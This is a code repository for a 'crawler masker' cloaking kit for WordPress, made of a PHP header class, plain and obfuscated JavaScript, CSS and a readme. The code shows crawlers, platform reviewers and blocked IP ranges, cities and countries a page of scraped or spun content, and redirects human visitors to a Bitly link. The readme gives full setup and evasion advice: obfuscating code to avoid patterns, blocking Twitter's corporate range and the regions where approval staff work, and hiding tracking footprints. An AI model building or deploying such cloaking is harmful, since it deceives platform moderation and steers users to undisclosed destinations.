├── header.php ├── overlay.css ├── overlay.js ├── overlay.min.css ├── overlay.obfuscated.js └── readme.md /header.php: -------------------------------------------------------------------------------- 1 | blocked; 119 | } 120 | 121 | /** 122 | * Getter for client-side bypass. 123 | * 124 | * @return bool 125 | */ 126 | public function shouldBypassClientSideChecks() { 127 | 128 | return !!$this->BYPASS_CLIENT_SIDE_CHECKS; 129 | } 130 | 131 | /** 132 | * Getter for error bag. 133 | * 134 | * @return array 135 | */ 136 | 137 | public function getErrors() { 138 | 139 | return $this->errors; 140 | } 141 | 142 | /** 143 | * Getter for bitly link url. 144 | * 145 | * @return string 146 | */ 147 | 148 | public function getRedirectUrl() { 149 | 150 | return $this->REDIRECT_URL; 151 | } 152 | 153 | /** 154 | * Getter for fresh client-side javascript. 155 | * 156 | * @return string 157 | */ 158 | 159 | public function getClientSideJavascript() { 160 | 161 | $javascript = !empty($this->OBSFUCATED_JAVASCRIPT) ? $this->OBSFUCATED_JAVASCRIPT : "var _0x5786=['{}.constructor(\x22return\x20this\x22)(\x20)','Edg','undefined','REDIRECT_URL','addons','toString','chrome','removeChild','[object\x20SafariRemoteNotification]','runtime','table','DOMContentLoaded','test','debug','safari','opera','location','style','StyleMedia','return\x20(function()\x20','CSS','apply','info','\x20OPR/','none','forEach','BLOCKED_USER_AGENTS','exception','error','replace','warn','userAgent','HTMLElement','parentNode','addEventListener','overlay','log','console','documentMode','trace','indexOf','getElementById','webstore'];(function(_0x5cbf48,_0x5786d5){var _0x133a51=function(_0x32abcc){while(--_0x32abcc){_0x5cbf48['push'](_0x5cbf48['shift']());}};_0x133a51(++_0x5786d5);}(_0x5786,0x1e9));var _0x133a=function(_0x5cbf48,_0x5786d5){_0x5cbf48=_0x5cbf48-0x0;var _0x133a51=_0x5786[_0x5cbf48];return _0x133a51;};var _0x5a591d=_0x133a('0x1e');var _0x4520af=_0x133a('0xa');function _0x489b2e(){var _0x90f982=new RegExp(_0x4520af,'i');var _0x4bcf61=navigator[_0x133a('0xf')];return!_0x90f982[_0x133a('0x27')](_0x4bcf61);}function _0x47d5c5(){var _0x1650e7=function(){var _0x1f34fb=!![];return function(_0x200b3b,_0x160f73){var _0x4c57ca=_0x1f34fb?function(){if(_0x160f73){var _0x29fd8a=_0x160f73[_0x133a('0x5')](_0x200b3b,arguments);_0x160f73=null;return _0x29fd8a;}}:function(){};_0x1f34fb=![];return _0x4c57ca;};}();var _0x57cdfc=!!window['opr']&&!!opr[_0x133a('0x1f')]||!!window[_0x133a('0x2a')]||navigator[_0x133a('0xf')][_0x133a('0x18')](_0x133a('0x7'))>=0x0;var _0x1d22de=typeof InstallTrigger!==_0x133a('0x1d');var _0x8e0980=/constructor/i[_0x133a('0x27')](window[_0x133a('0x10')])||function(_0x2f5b18){var _0x2ec891=_0x1650e7(this,function(){var _0x1d695e=function(){};var _0x499453=function(){var _0x23a2a4;try{_0x23a2a4=Function(_0x133a('0x3')+_0x133a('0x1b')+');')();}catch(_0x57655c){_0x23a2a4=window;}return _0x23a2a4;};var _0x500b0f=_0x499453();if(!_0x500b0f[_0x133a('0x15')]){_0x500b0f['console']=function(_0x443ef5){var _0x4532db={};_0x4532db[_0x133a('0x14')]=_0x443ef5;_0x4532db[_0x133a('0xe')]=_0x443ef5;_0x4532db[_0x133a('0x28')]=_0x443ef5;_0x4532db[_0x133a('0x6')]=_0x443ef5;_0x4532db[_0x133a('0xc')]=_0x443ef5;_0x4532db['exception']=_0x443ef5;_0x4532db[_0x133a('0x25')]=_0x443ef5;_0x4532db[_0x133a('0x17')]=_0x443ef5;return _0x4532db;}(_0x1d695e);}else{_0x500b0f[_0x133a('0x15')]['log']=_0x1d695e;_0x500b0f[_0x133a('0x15')][_0x133a('0xe')]=_0x1d695e;_0x500b0f[_0x133a('0x15')][_0x133a('0x28')]=_0x1d695e;_0x500b0f[_0x133a('0x15')][_0x133a('0x6')]=_0x1d695e;_0x500b0f[_0x133a('0x15')][_0x133a('0xc')]=_0x1d695e;_0x500b0f['console'][_0x133a('0xb')]=_0x1d695e;_0x500b0f[_0x133a('0x15')][_0x133a('0x25')]=_0x1d695e;_0x500b0f[_0x133a('0x15')][_0x133a('0x17')]=_0x1d695e;}});_0x2ec891();return _0x2f5b18[_0x133a('0x20')]()===_0x133a('0x23');}(!window[_0x133a('0x29')]||typeof safari!==_0x133a('0x1d')&&safari['pushNotification']);var _0x295dbe=![]||!!document[_0x133a('0x16')];var _0x27ad47=!_0x295dbe&&!!window[_0x133a('0x2')];var _0x129c73=!!window[_0x133a('0x21')]&&(!!window[_0x133a('0x21')][_0x133a('0x1a')]||!!window[_0x133a('0x21')][_0x133a('0x24')]);var _0x2878e2=_0x129c73&&navigator[_0x133a('0xf')]['indexOf'](_0x133a('0x1c'))!=-0x1;var _0x36890e=(_0x129c73||_0x57cdfc)&&!!window[_0x133a('0x4')];var _0x3e6d53=[_0x57cdfc,_0x1d22de,_0x8e0980,_0x295dbe,_0x27ad47,_0x129c73,_0x2878e2,_0x36890e];var _0x346ca1=![];_0x3e6d53[_0x133a('0x9')](function(_0xd5b2fe){if(_0xd5b2fe){_0x346ca1=!![];}});return _0x346ca1;}if(_0x489b2e()&&_0x47d5c5()){window[_0x133a('0x0')][_0x133a('0xd')](_0x5a591d);}else{document[_0x133a('0x12')](_0x133a('0x26'),function(){var _0x1713f5=document[_0x133a('0x19')](_0x133a('0x13'));_0x1713f5[_0x133a('0x1')]['display']=_0x133a('0x8');_0x1713f5[_0x133a('0x11')][_0x133a('0x22')](_0x1713f5);});}"; 162 | 163 | $javascript = str_replace('REDIRECT_URL', $this->getRedirectUrl(), $javascript); 164 | $javascript = str_replace('BLOCKED_USER_AGENTS', $this->getBlockedUserAgents(), $javascript); 165 | 166 | return $javascript; 167 | } 168 | 169 | /** 170 | * Primary method for running all checks. 171 | * 172 | * @return bool 173 | */ 174 | public function check() { 175 | 176 | if (!$this->blocked && $this->checkUserAgent()) { 177 | $this->blocked = true; 178 | } 179 | if (!$this->blocked && $this->checkIpAddress()) { 180 | $this->blocked = true; 181 | } 182 | 183 | return $this->blocked; 184 | } 185 | 186 | /** 187 | * Run check on user agent string. 188 | * 189 | * @return bool 190 | */ 191 | public function checkUserAgent() { 192 | 193 | $search = $this->getBlockedUserAgents(); 194 | 195 | return !!(isset($_SERVER['HTTP_USER_AGENT']) && preg_match($search, $_SERVER['HTTP_USER_AGENT'])); 196 | } 197 | 198 | /** 199 | * Fetch result from IPStack and check against block lists. 200 | * Block lists checked: $BLOCKED_COUNTRY_CODES, $BLOCKED_CITY_NAMES, $BLOCKED_IP_RANGES. 201 | * Will also check against IPStacks known pool of crawler IP addresses. 202 | * 203 | * @return bool 204 | */ 205 | public function checkIpAddress() { 206 | 207 | // Ensure IPStack is enabled 208 | 209 | // Get the result from IPStack 210 | $ip = $this->getIpAddress(); 211 | $ipstack = $this->getIpStack($ip); 212 | // Check to see if we got a response 213 | if ($ipstack && !(isset($ipstack->success) && $ipstack->success === false)) { 214 | if ($ipstack->security->is_crawler || in_array($ipstack->country_code, $this->BLOCKED_COUNTRY_CODES) || in_array($ipstack->country_code, 215 | $this->BLOCKED_CITY_NAMES) || $this->ipInRange($ip, 216 | $this->BLOCKED_IP_RANGES)) { 217 | return true; 218 | } 219 | } 220 | 221 | return false; 222 | 223 | } 224 | 225 | /** 226 | * Gets merged list of blocked user agents. 227 | * 228 | * @return string 229 | */ 230 | public function getBlockedUserAgents() { 231 | 232 | $search = ''; 233 | if (count($this->BLOCKED_USER_AGENTS)) { 234 | $search = implode('|', $this->BLOCKED_USER_AGENTS); 235 | $search = preg_quote($search) . '|'; 236 | } 237 | $search = $search . 'googlebot|bot|Googlebot-Mobile|Googlebot-Image|Google favicon|Mediapartners-Google|bingbot|slurp|java|wget|curl|Commons-HttpClient|Python-urllib|libwww|httpunit|nutch|phpcrawl|msnbot|jyxobot|FAST-WebCrawler|FAST Enterprise Crawler|biglotron|teoma|convera|seekbot|gigablast|exabot|ngbot|ia_archiver|GingerCrawler|webmon |httrack|webcrawler|grub.org|UsineNouvelleCrawler|antibot|netresearchserver|speedy|fluffy|bibnum.bnf|findlink|msrbot|panscient|yacybot|AISearchBot|IOI|ips-agent|tagoobot|MJ12bot|dotbot|woriobot|yanga|buzzbot|mlbot|yandexbot|purebot|Linguee Bot|Voyager|CyberPatrol|voilabot|baiduspider|citeseerxbot|spbot|twengabot|postrank|turnitinbot|scribdbot|page2rss|sitebot|linkdex|Adidxbot|blekkobot|ezooms|dotbot|Mail.RU_Bot|discobot|heritrix|findthatfile|europarchive.org|NerdByNature.Bot|sistrix crawler|ahrefsbot|Aboundex|domaincrawler|wbsearchbot|summify|ccbot|edisterbot|seznambot|ec2linkfinder|gslfbot|aihitbot|intelium_bot|facebookexternalhit|yeti|RetrevoPageAnalyzer|lb-spider|sogou|lssbot|careerbot|wotbox|wocbot|ichiro|DuckDuckBot|lssrocketcrawler|drupact|webcompanycrawler|acoonbot|openindexspider|gnam gnam spider|web-archive-net.com.bot|backlinkcrawler|coccoc|integromedb|content crawler spider|toplistbot|seokicks-robot|it2media-domain-crawler|ip-web-crawler.com|siteexplorer.info|elisabot|proximic|changedetection|blexbot|arabot|WeSEE:Search|niki-bot|CrystalSemanticsBot|rogerbot|360Spider|psbot|InterfaxScanBot|Lipperhey SEO Service|CC Metadata Scaper|g00g1e.net|GrapeshotCrawler|urlappendbot|brainobot|fr-crawler|binlar|SimpleCrawler|Livelapbot|Twitterbot|cXensebot|smtbot|bnf.fr_bot|A6-Indexer|ADmantX|Facebot|Twitterbot|OrangeBot|memorybot|AdvBot|MegaIndex|SemanticScholarBot|ltx71|nerdybot|xovibot|BUbiNG|Qwantify|archive.org_bot|Applebot|TweetmemeBot|crawler4j|findxbot|SemrushBot|yoozBot|lipperhey|y!j-asr|Domain Re-Animator Bot|AddThis'; 238 | $search = '(' . $search . ')'; 239 | 240 | return $search; 241 | } 242 | 243 | /** 244 | * Gets the visitor's IP address to be checked against IPStack. 245 | * 246 | * @return string 247 | */ 248 | protected function getIpAddress() { 249 | 250 | if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 251 | $ip = $_SERVER['HTTP_CLIENT_IP']; 252 | } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 253 | $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; 254 | } else { 255 | $ip = $_SERVER['REMOTE_ADDR']; 256 | } 257 | 258 | return $ip; 259 | } 260 | 261 | /** 262 | * Fetches a response from the IPStack service. 263 | * Must have a valid $IP_STACK_TOKEN and $ip address provided. 264 | * 265 | * @param $ip 266 | * 267 | * @return mixed|null 268 | */ 269 | protected function getIpStack($ip) { 270 | 271 | if (!empty($this->IP_STACK_TOKEN) && !empty($ip)) { 272 | try { 273 | $response = json_decode(file_get_contents(sprintf('http://api.ipstack.com/%s?access_key=%s', $ip, $this->IP_STACK_TOKEN))); 274 | 275 | if ($response && !(isset($response->success) && $response->success === false)) { 276 | $ipstack = $response; 277 | } 278 | } 279 | catch (Exception $e) { 280 | $this->errors[] = $e->getMessage(); 281 | } 282 | } 283 | 284 | return isset($ipstack) ? $ipstack : null; 285 | } 286 | 287 | /** 288 | * Checks the provided IP address against a corporate IP range. 289 | * 290 | * @param $ip 291 | * @param $range 292 | * 293 | * @return bool 294 | */ 295 | protected function ipInRange($ip, $range) { 296 | 297 | if (strpos($range, '/') == false) { 298 | $range .= '/32'; 299 | } 300 | 301 | // $range is in IP/CIDR format eg 127.0.0.1/24 302 | list($range, $netmask) = explode('/', $range, 2); 303 | 304 | $ip_decimal = ip2long($ip); 305 | $range_decimal = ip2long($range); 306 | $wildcard_decimal = pow(2, (32 - $netmask)) - 1; 307 | $netmask_decimal = ~$wildcard_decimal; 308 | 309 | return (($ip_decimal & $netmask_decimal) == ($range_decimal & $netmask_decimal)); 310 | } 311 | 312 | } 313 | 314 | // Create new check instance 315 | $cloaker = new Cloaker(); 316 | // Run the checks 317 | $blocked = $cloaker->check(); 318 | 319 | if ($cloaker->shouldBypassClientSideChecks()) { 320 | header(sprintf('Location: %s', $cloaker->getRedirectUrl())); 321 | exit(); 322 | } 323 | 324 | ?> 325 | 326 | 329 | 332 | 333 | -------------------------------------------------------------------------------- /overlay.css: -------------------------------------------------------------------------------- 1 | #loader { 2 | height: 100%; 3 | width: 100%; 4 | position: fixed; 5 | z-index: 999; 6 | top: 0; 7 | left: 0; 8 | background-color: rgb(255, 255, 255); 9 | overflow-x: hidden; 10 | } 11 | 12 | .loading { 13 | position: absolute; 14 | left: 50%; 15 | top: 50%; 16 | height:40px; 17 | width:40px; 18 | margin:0px auto; 19 | -webkit-animation: rotation .6s infinite linear; 20 | -moz-animation: rotation .6s infinite linear; 21 | -o-animation: rotation .6s infinite linear; 22 | animation: rotation .6s infinite linear; 23 | border-left:6px solid rgba(0,174,239,.15); 24 | border-right:6px solid rgba(0,174,239,.15); 25 | border-bottom:6px solid rgba(0,174,239,.15); 26 | border-top:6px solid rgba(0,174,239,.8); 27 | border-radius:100%; 28 | } 29 | 30 | @-webkit-keyframes rotation { 31 | from {-webkit-transform: rotate(0deg);} 32 | to {-webkit-transform: rotate(359deg);} 33 | } 34 | @-moz-keyframes rotation { 35 | from {-moz-transform: rotate(0deg);} 36 | to {-moz-transform: rotate(359deg);} 37 | } 38 | @-o-keyframes rotation { 39 | from {-o-transform: rotate(0deg);} 40 | to {-o-transform: rotate(359deg);} 41 | } 42 | @keyframes rotation { 43 | from {transform: rotate(0deg);} 44 | to {transform: rotate(359deg);} 45 | } 46 | -------------------------------------------------------------------------------- /overlay.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Demo example of redirecting if crawler. 3 | * Naturally you would want to implement more robust bot checking depending on your use case. 4 | * You'll want to run this script through https://obfuscator.io to get a unique version each time to avoid any patterns. 5 | * Note the uppercase tokens in the script as it is meant to be used with the 'header.php' component to generate these variables. 6 | * If you wish to use this as a standalone script, replace the 'crawlerUserAgentPattern' token with a regex user agent string, and the redirectUrl token with your bitly url. 7 | * If you plan to use it with the server side component, you do not need to change these tokens. 8 | * 9 | */ 10 | 11 | var redirectUrl = 'REDIRECT_URL'; 12 | var crawlerUserAgentPattern = 'BLOCKED_USER_AGENTS'; 13 | 14 | function checkUserAgent() { 15 | 16 | var test = new RegExp(crawlerUserAgentPattern, 'i'); 17 | var userAgent = navigator.userAgent; 18 | return !test.test(userAgent); 19 | } 20 | 21 | function checkFeatures() { 22 | 23 | var isOpera = (!!window.opr && !!opr.addons) || !!window.opera || navigator.userAgent.indexOf(' OPR/') >= 0; 24 | var isFirefox = typeof InstallTrigger !== 'undefined'; 25 | var isSafari = /constructor/i.test(window.HTMLElement) || (function (p) { 26 | return p.toString() === '[object SafariRemoteNotification]'; 27 | })(!window['safari'] || (typeof safari !== 'undefined' && safari.pushNotification)); 28 | var isIE = /*@cc_on!@*/false || !!document.documentMode; 29 | var isEdge = !isIE && !!window.StyleMedia; 30 | var isChrome = !!window.chrome && (!!window.chrome.webstore || !!window.chrome.runtime); 31 | var isEdgeChromium = isChrome && (navigator.userAgent.indexOf('Edg') != -1); 32 | var isBlink = (isChrome || isOpera) && !!window.CSS; 33 | 34 | var browsers = [isOpera, isFirefox, isSafari, isIE, isEdge, isChrome, isEdgeChromium, isBlink]; 35 | var passes = false; 36 | browsers.forEach(function (browser) { 37 | if (browser) { 38 | passes = true; 39 | } 40 | }); 41 | 42 | return passes; 43 | } 44 | 45 | if (checkUserAgent() && checkFeatures()) { 46 | window.location.replace(redirectUrl); 47 | } 48 | else { 49 | document.addEventListener('DOMContentLoaded', function () { 50 | var overlay = document.getElementById('overlay'); 51 | overlay.style.display = 'none'; 52 | overlay.parentNode.removeChild(overlay); 53 | }); 54 | } 55 | -------------------------------------------------------------------------------- /overlay.min.css: -------------------------------------------------------------------------------- 1 | #loader{height:100%;width:100%;position:fixed;z-index:999;top:0;left:0;background-color:#fff;overflow-x:hidden}.loading{position:absolute;left:50%;top:50%;height:40px;width:40px;margin:0 auto;-webkit-animation:rotation .6s infinite linear;-moz-animation:rotation .6s infinite linear;-o-animation:rotation .6s infinite linear;animation:rotation .6s infinite linear;border-left:6px solid rgba(0,174,239,.15);border-right:6px solid rgba(0,174,239,.15);border-bottom:6px solid rgba(0,174,239,.15);border-top:6px solid rgba(0,174,239,.8);border-radius:100%}@-webkit-keyframes rotation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@-moz-keyframes rotation{from{-moz-transform:rotate(0deg)}to{-moz-transform:rotate(359deg)}}@-o-keyframes rotation{from{-o-transform:rotate(0deg)}to{-o-transform:rotate(359deg)}}@keyframes rotation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}} 2 | -------------------------------------------------------------------------------- /overlay.obfuscated.js: -------------------------------------------------------------------------------- 1 | var _0x5946=['test','Edg','log','HTMLElement','overlay','trace','\x20OPR/','console','return\x20(function()\x20','exception','opr','table','getElementById','addons','opera','replace','runtime','chrome','none','documentMode','{}.constructor(\x22return\x20this\x22)(\x20)','error','StyleMedia','removeChild','addEventListener','DOMContentLoaded','warn','debug','toString','[object\x20SafariRemoteNotification]','indexOf','safari','CSS','undefined','display','info','location','userAgent'];(function(_0x1d14ff,_0x5946f3){var _0x355fcc=function(_0x2cc12f){while(--_0x2cc12f){_0x1d14ff['push'](_0x1d14ff['shift']());}};_0x355fcc(++_0x5946f3);}(_0x5946,0xde));var _0x355f=function(_0x1d14ff,_0x5946f3){_0x1d14ff=_0x1d14ff-0x0;var _0x355fcc=_0x5946[_0x1d14ff];return _0x355fcc;};var _0x4589d5='REDIRECT_URL';var _0x6e3ef='BLOCKED_USER_AGENTS';function _0x8dc8d2(){var _0x2003d7=function(){var _0x41b520=!![];return function(_0x1a9872,_0x93e84a){var _0x4fe64c=_0x41b520?function(){if(_0x93e84a){var _0x499322=_0x93e84a['apply'](_0x1a9872,arguments);_0x93e84a=null;return _0x499322;}}:function(){};_0x41b520=![];return _0x4fe64c;};}();var _0xdfb28e=_0x2003d7(this,function(){var _0xa7fa79=function(){};var _0x35d2ae;try{var _0x1e2169=Function(_0x355f('0xe')+_0x355f('0x1a')+');');_0x35d2ae=_0x1e2169();}catch(_0x52a930){_0x35d2ae=window;}if(!_0x35d2ae[_0x355f('0xd')]){_0x35d2ae[_0x355f('0xd')]=function(_0x26b430){var _0x1b38da={};_0x1b38da[_0x355f('0x8')]=_0x26b430;_0x1b38da[_0x355f('0x20')]=_0x26b430;_0x1b38da[_0x355f('0x21')]=_0x26b430;_0x1b38da[_0x355f('0x3')]=_0x26b430;_0x1b38da[_0x355f('0x1b')]=_0x26b430;_0x1b38da[_0x355f('0xf')]=_0x26b430;_0x1b38da[_0x355f('0x11')]=_0x26b430;_0x1b38da['trace']=_0x26b430;return _0x1b38da;}(_0xa7fa79);}else{_0x35d2ae[_0x355f('0xd')][_0x355f('0x8')]=_0xa7fa79;_0x35d2ae[_0x355f('0xd')]['warn']=_0xa7fa79;_0x35d2ae[_0x355f('0xd')]['debug']=_0xa7fa79;_0x35d2ae[_0x355f('0xd')]['info']=_0xa7fa79;_0x35d2ae['console']['error']=_0xa7fa79;_0x35d2ae[_0x355f('0xd')]['exception']=_0xa7fa79;_0x35d2ae[_0x355f('0xd')][_0x355f('0x11')]=_0xa7fa79;_0x35d2ae[_0x355f('0xd')][_0x355f('0xb')]=_0xa7fa79;}});_0xdfb28e();var _0x382098=new RegExp(_0x6e3ef,'i');var _0x366391=navigator[_0x355f('0x5')];return!_0x382098[_0x355f('0x6')](_0x366391);}function _0x5cca94(){var _0x1dd08f=!!window[_0x355f('0x10')]&&!!opr[_0x355f('0x13')]||!!window[_0x355f('0x14')]||navigator['userAgent'][_0x355f('0x24')](_0x355f('0xc'))>=0x0;var _0x2e52bb=typeof InstallTrigger!==_0x355f('0x1');var _0x22917f=/constructor/i[_0x355f('0x6')](window[_0x355f('0x9')])||function(_0x213311){return _0x213311[_0x355f('0x22')]()===_0x355f('0x23');}(!window[_0x355f('0x25')]||typeof safari!=='undefined'&&safari['pushNotification']);var _0x323fae=![]||!!document[_0x355f('0x19')];var _0x46119a=!_0x323fae&&!!window[_0x355f('0x1c')];var _0x404252=!!window[_0x355f('0x17')]&&(!!window[_0x355f('0x17')]['webstore']||!!window[_0x355f('0x17')][_0x355f('0x16')]);var _0x63f067=_0x404252&&navigator['userAgent'][_0x355f('0x24')](_0x355f('0x7'))!=-0x1;var _0x5b7fc8=(_0x404252||_0x1dd08f)&&!!window[_0x355f('0x0')];var _0x9a1e36=[_0x1dd08f,_0x2e52bb,_0x22917f,_0x323fae,_0x46119a,_0x404252,_0x63f067,_0x5b7fc8];var _0x1e6fe8=![];_0x9a1e36['forEach'](function(_0xb8c172){if(_0xb8c172){_0x1e6fe8=!![];}});return _0x1e6fe8;}if(_0x8dc8d2()&&_0x5cca94()){window[_0x355f('0x4')][_0x355f('0x15')](_0x4589d5);}else{document[_0x355f('0x1e')](_0x355f('0x1f'),function(){var _0x15d86b=document[_0x355f('0x12')](_0x355f('0xa'));_0x15d86b['style'][_0x355f('0x2')]=_0x355f('0x18');_0x15d86b['parentNode'][_0x355f('0x1d')](_0x15d86b);});} 2 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Quick Crawler Masker Demo 2 | 3 | A breif demo of a masking script designed to run on Wordpress blogs. 4 | 5 | ## What it does 6 | 7 | #### Server-Side 8 | * Runs a basic user-agent check 9 | * Requests client IP info from IPStack 10 | * Checks IPStack's crawler IP pool 11 | * Blocks any corporate IP range provided 12 | * Blocks geos where approval staff or crawlers may be located 13 | 14 | 15 | #### Client-side 16 | * Adds a "loading" overlay 17 | * Performs a second user-agent check with js 18 | * Performs a js 'duck_typing' browser feature check 19 | * Redirects humans to final url, removes overlay for crawlers / blocked visitors 20 | 21 | ## Installation 22 | 23 | * Set up a free Wordpress website on https://www.000webhost.com and fill it with some cheap scraped / spun content and images from Unsplash. 24 | * Install the following plugin to safely edit your header https://wordpress.org/plugins/header-footer 25 | * Copy the code from `header.php` into the "Header" section of the plugin. 26 | * Optional: Obfuscate the JS file with https://obfuscator.io and paste the new obfuscated code over the old JS at the bottom of the script. 27 | * Add this html to the "Start of Body tag" section: 28 | ```html 29 |
30 | ``` 31 | * Sign up for a free API key at https://ipstack.com - this will enable server side IP range lookups, free crawler checking, and geo blocking. Copy this to `$IPSTACK_KEY=`. 32 | * Add your Bitly link to the `$REDIRECT_URL=` code. 33 | * Edit any geos or IP ranges you'd like to block as well. 34 | * Save the script and test your page! If you have installed correctly you may see a quick flash, then a redirect to your Bitly link. 35 | 36 | #### After installation 37 | 38 | After you install, you may need to ctrl-f5 your page to clear your browser cache and load the new javascript. 39 | 40 | Importantly however, you'll notice you can't get back to your site anymore because it's redirecting (obviously!). So to access your admin panel, add `/wp-admin` to the end of your url. 41 | 42 | 43 | ## Configuration 44 | 45 | Configuration variables can be found at the top of the `header.php` file. 46 | 47 | ```php 48 | 49 | /* Where should human users be redirected? */ 50 | protected $REDIRECT_URL = 'https://bit.ly/3gDNfri'; 51 | 52 | /* Skip client-side javascript checks? (Only do this if you understand what it does...) */ 53 | protected $BYPASS_CLIENT_SIDE_CHECKS = false; 54 | 55 | /* Your free IPStack token from https://ipstack.com/signup/free */ 56 | protected $IP_STACK_TOKEN = ''; 57 | 58 | /* Blocked country codes (use ISO_3166-1 compliant codes) */ 59 | protected $BLOCKED_COUNTRY_CODES = ['PH']; 60 | 61 | /* Blocked city names (reconsider if it's a very common name) */ 62 | protected $BLOCKED_CITY_NAMES = ['San Francisco']; 63 | 64 | /* Blocked corporate IP ranges (Example Twitter: https://ipinfo.io/AS35995) */ 65 | protected $BLOCKED_IP_RANGES = [ 66 | '185.45.4.0/23', // ... 67 | ]; 68 | 69 | /* Any additional user-agents you want to block. Will add to the default string, not replace. */ 70 | protected $BLOCKED_USER_AGENTS = [ 71 | 'Twitterbot' 72 | ]; 73 | 74 | /* If you re-obsfucate the client-side javascript (recommeded), paste the generated code here. Important: Only insert into "" double quotes, not '' single quotes! */ 75 | protected $OBSFUCATED_JAVASCRIPT = ""; 76 | 77 | ``` 78 | 79 | 80 | #### Important note for using the client-side JS without the server-side components... 81 | 82 | If you decide to use the standalone JS and re-obsfucate, you'll need to either add your redirect link and user-agent strings directly to the code. 83 | If you are using with the server-side PHP component, you will not need to do this. 84 | 85 | ## Usage 86 | 87 | The css will create an overlay with a loading spinner that covers the spun content on the underlying page. 88 | 89 | When a user hits the page the js will run a bot check (recommend making this more robust depending on your use case) and either: 90 | 91 | * a) Redirect a human user to your Bit.ly link, or; 92 | 93 | * b) Unmask the overlay and show the bot the underlying website. 94 | 95 | 96 | ## Testing 97 | 98 | You can test with crawler simulator tools like these: 99 | 100 | - https://totheweb.com/learning_center/tools-search-engine-simulator 101 | - https://www.browseo.net 102 | 103 | Alternatively, install Postman and change your user-agent to one of the blocked agents such as `Twitterbot`, then send a GET request to the homepage. 104 | 105 | ## Improvements 106 | 107 | I would also probably want to deploy a Google Tag Manager to tag anyone that triggers a redirect so that I can map their path to a sale or end user action for campaign optimisation purposes. You may want to obfuscate the GTM id as well to avoid footprints. Just install a GTM plugin for this via Wordpress. 108 | 109 | If you are improving to pass a human approval, you'll want to also add in a check for your social media platform of choice's corporate IP range ie Twitter: https://ipinfo.io/AS35995 and even block the geos where you can intuit that their human approval staff are probably located, ie Silicon Valley, Phillipines, etc. 110 | 111 | Clearly if it needs to pass a human check, you'll want to also put real text on the dummy page vs illegible spun content, so scraping is real sites probably the way to go for this. You'll only need a few real looking pages for it to pass any human check. 112 | 113 | 114 | ## License 115 | [MIT](https://choosealicense.com/licenses/mit/) 116 | --------------------------------------------------------------------------------